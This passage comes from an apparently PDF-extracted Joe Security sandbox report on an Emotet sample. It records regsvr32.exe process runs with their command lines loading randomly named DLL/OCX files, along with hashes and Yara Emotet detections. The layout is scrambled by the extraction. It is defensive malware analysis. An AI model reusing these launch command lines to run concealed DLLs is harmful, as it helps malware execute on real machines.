0xff910000

19456 bytes
59BCE9F07985F8A4204F4D6554CFF708
true

true

C, C++ or other language

e Rule: JoeSecurity_ Emotet_1, Description: Yara detected Emotet, Source:
00000008.00000002.938555440.00000000001C0000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_ Emotet_1, Description: Yara detected Emotet, Source:
00000008.00000002.939220506.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Old File Path

File Path

Access Attributes Options Completion Count Source Address Symbol
New File Path Completion Count Source Address Symbol
Offset Length Completion Count Source Address Symbol

Analysis Process: regsvr32.exe PID: 1300, Parent PID: 1808

General

Target ID:

Start time:

Start date:

Path:

Wow64 process (32bit):
Commandline:
Imagebase:

File size:

MDS5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Yara matches:

Reputation:

File Activities

9

08:27:34

23/05/2022

C:\Windows\System32\regsvr32.exe

false

C:\Windows\system32\regsvr32.exe "C:\Windows\system32\YtTPe\fAqgggPvQZYEzlo.dII"
0xff910000

19456 bytes

59BCE9F07985F8A4204F4D6554CFF708

true

true

C, C++ or other language

e Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source:
00000009.00000002.1221815669.0000000000140000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security

e Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source:
00000009.00000002.1222570729.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Author: Joe Security

high

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

File Path

Registry Activities

Offset Length Completion Count Source Address

There is hidden Windows Behavior. Click on Show Windows Behavior to show it.

Key Path

Name Type Old Data New Data Completion Count

Source
Address

Analysis Process: regsvr32.exe PID: 2652, Parent PID: 2260

General
Target ID:
Start time:

Start date:

10
08:27:37
23/05/2022

Copyright Joe Security LLC 2022

Symbol

Symbol
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Path:

Wow64 process (32bit):

Commandline:
Imagebase:
File size:

MD5 hash:

Has elevated privileges:

Has administrator
privileges:

Programmed in:

Disassembly

@ No disassembly

C:\Windows\System32\regsvr32.exe

false

C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx
0xff910000

19456 bytes
59BCE9F07985F8A4204F4D6554CFF708

true

true

C, C++ or other language

Copyright Joe Security LLC 2022
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